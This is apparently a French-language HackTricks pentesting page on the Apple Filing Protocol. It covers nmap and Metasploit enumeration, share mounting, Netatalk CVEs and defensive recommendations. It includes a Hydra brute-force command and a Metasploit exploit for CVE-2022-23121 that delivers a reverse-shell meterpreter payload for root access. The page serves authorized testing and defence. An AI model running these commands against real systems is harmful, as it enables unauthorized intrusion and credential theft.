548 - Pentesting Apple Filing Protocol (AFP)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Le Apple Filing Protocol (AFP), anciennement appelé AppleTalk Filing Protocol, est un protocole réseau spécialisé inclus dans Apple File Service (AFS). Il est conçu pour fournir des services de fichiers pour macOS et le classique Mac OS. AFP se distingue par la prise en charge des noms de fichiers Unicode, des permissions de type POSIX et ACL, des resource forks, des attributs étendus nommés et des mécanismes sophistiqués de verrouillage de fichiers.

Bien qu’AFP ait été supplanté par SMB dans les versions modernes de macOS (SMB est le choix par défaut depuis OS X 10.9), il est encore rencontré dans :

  • environnements macOS / Mac OS 9 hérités
  • appareils NAS (QNAP, Synology, Western Digital, TrueNAS…) qui embarquent le daemon open-source Netatalk
  • réseaux mixtes où Time-Machine-over-AFP est encore activé

Port TCP par défaut : 548 (AFP over TCP / DSI)

PORT     STATE SERVICE
548/tcp  open  afp

Enumération

Bannière rapide / informations du serveur

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Useful AFP NSE scripts:

ScriptCe que fait
afp-lsLister les volumes AFP disponibles et les fichiers
afp-bruteBrute-force de mots de passe contre l’authentification AFP
afp-serverinfoExtraire le nom du serveur, le type de machine, la version AFP, les UAMs supportés, etc.
afp-showmountLister les partages ainsi que leurs ACLs
afp-path-vulnDétecte (et peut exploiter) directory-traversal, CVE-2010-0533

Le script NSE de brute-force peut être combiné avec Hydra/Medusa si un contrôle plus fin est nécessaire:

hydra -L users.txt -P passwords.txt afp://<IP>

Si vous avez déjà des identifiants, les scripts AFP de Nmap deviennent beaucoup plus utiles parce que afp-serverinfo leaks les UAMs (auth methods), tandis que afp-showmount et afp-ls peuvent énumérer les partages accessibles, les ACLs et les fichiers intéressants:

nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>

À surveiller :

  • Machine Type: Netatalk dans la sortie de afp-serverinfo, ce qui signifie généralement un hôte NAS/Unix plutôt que l’implémentation AFP d’Apple.
  • UAMs comme DHX, DHX2, Cleartxt ou Guest, car elles indiquent directement les chemins de connexion accessibles et si l’authentification héritée/faible est activée.
  • Share ACLs provenant de afp-showmount ; les partages lisibles par tous (world-readable) ou de type drop-box exposent souvent des sauvegardes, des fichiers .appl et des métadonnées utilisateur avant même que vous ne montiez le volume.

Interagir avec les partages

macOS

# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (utilisant afpfs-ng ‑ fourni dans la plupart des distributions)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Une fois monté, souvenez-vous que les resource-forks classiques Mac sont stockés en tant que fichiers AppleDouble cachés ._* – ceux-ci contiennent souvent des métadonnées intéressantes que les outils DFIR ne détectent pas.

Sur les cibles Netatalk, ce backend de métadonnées influe aussi sur l’exploitabilité :

  • ea = ad signifie que les métadonnées sont stockées dans des fichiers AppleDouble v2 / des répertoires .AppleDouble.
  • ea = sys ou ea = samba stocke les métadonnées dans les attributs étendus du système de fichiers.
  • Dans Netatalk 4.2+ l’ancienne option appledouble a été supprimée et le backend est désormais contrôlé uniquement via l’option ea.

D’un point de vue offensif, cela vous permet de déterminer rapidement si les bugs orientés AppleDouble sont plus susceptibles d’être atteignables sur le serveur.


Vulnérabilités courantes et exploitation

Chaîne RCE Netatalk non authentifiée (2022)

Plusieurs fournisseurs de NAS ont livré Netatalk ≤3.1.12. Un manque de vérification des limites dans parse_entries() permet à un attaquant de préparer un en-tête AppleDouble malveillant et d’obtenir un remote root avant authentification (CVSS 9.8 – CVE-2022-23121). Un rapport complet par NCC Group avec un PoC exploitant le Western-Digital PR4100 est disponible.

Metasploit (>= 6.3) inclut le module exploit/linux/netatalk/parse_entries qui délivre le payload via DSI WRITE.

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

Si la cible exécute un firmware QNAP/Synology affecté, une exploitation réussie donne un shell en tant que root.

Netatalk OpenSession heap overflow (2018)

Les anciennes versions de Netatalk (3.0.0 - 3.1.11) sont vulnérables à un out-of-bounds write dans le handler DSI OpenSession permettant une exécution de code sans authentification (CVE-2018-1160). Une analyse détaillée et un PoC ont été publiés par Tenable Research.

Newer Netatalk attack surface (2022-2024)

Les récents avis Netatalk montrent que l’attack surface n’est plus limitée à parse_entries() et au traitement OpenSession :

  • CVE-2022-45188: un fichier .appl spécialement conçu peut déclencher un heap overflow dans afp_getappl; cela est particulièrement pertinent si vous pouvez write files into a share et que le serveur exécute les fonctionnalités FCE / notify.
  • CVE-2023-42464: un bug de type confusion dans les handlers Spotlight RPC peut devenir atteignable lorsque spotlight = yes est activé dans afp.conf (désactivé par défaut).
  • CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: écritures hors-limites d’un octet dans le heap sur des chemins liés au login corrigées dans Netatalk 2.4.1 / 3.1.19 / 3.2.1. Ces bugs sont intéressants car l’exploitabilité dépend des UAMs configurés :
    • uams_clrtxt.so + PAM-backed ClearTxt login expose le chemin FPLoginExt pertinent pour CVE-2024-38439.
    • uams_dhx.so + PAM-backed DHX login atteint le chemin vulnérable pour CVE-2024-38440.
    • uams_guest.so maintient le chemin de login Guest accessible pour CVE-2024-38441.

Cela signifie que la sortie de afp-serverinfo n’est pas juste des données d’empreinte ; elle vous aide à décider quel login parser est exposé avant de passer du temps sur le développement d’exploit ou le triage du firmware NAS.

Other notable issues

  • CVE-2022-22995 – redirection via symlink conduisant à une écriture arbitraire de fichier / RCE lorsque AppleDouble v2 est activé (3.1.0 - 3.1.17).
  • CVE-2010-0533 – traversal de répertoire dans Apple Mac OS X 10.6 AFP (détecté par afp-path-vuln.nse).
  • Plusieurs bugs de sécurité mémoire ont de nouveau été corrigés lors des releases 2024 Netatalk ; si vous identifiez Netatalk dans afp-serverinfo, prenez une minute pour corréler les UAMs exposés / Spotlight / backend de métadonnées avec la version du serveur avant de supposer que seuls les bugs 2018/2022 importent.

Recommandations défensives

  1. Désactiver AFP sauf si strictement nécessaire – utiliser SMB3 ou NFS à la place.
  2. Si AFP doit rester, mettre à jour Netatalk vers ≥ 3.1.18 ou 4.x, ou appliquer le firmware vendor qui back-porte les correctifs 2022/2023/2024.
  3. Appliquer des UAMs fortes (p.ex. DHX2), désactiver clear-text et guest logins.
  4. Restreindre TCP 548 aux sous-réseaux de confiance et encapsuler AFP dans un VPN lorsqu’il est exposé à distance.
  5. Scanner périodiquement avec nmap -p 548 --script afp-* dans les pipelines CI/CD pour détecter des appliances rogue / downgraded.

Brute-Force

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks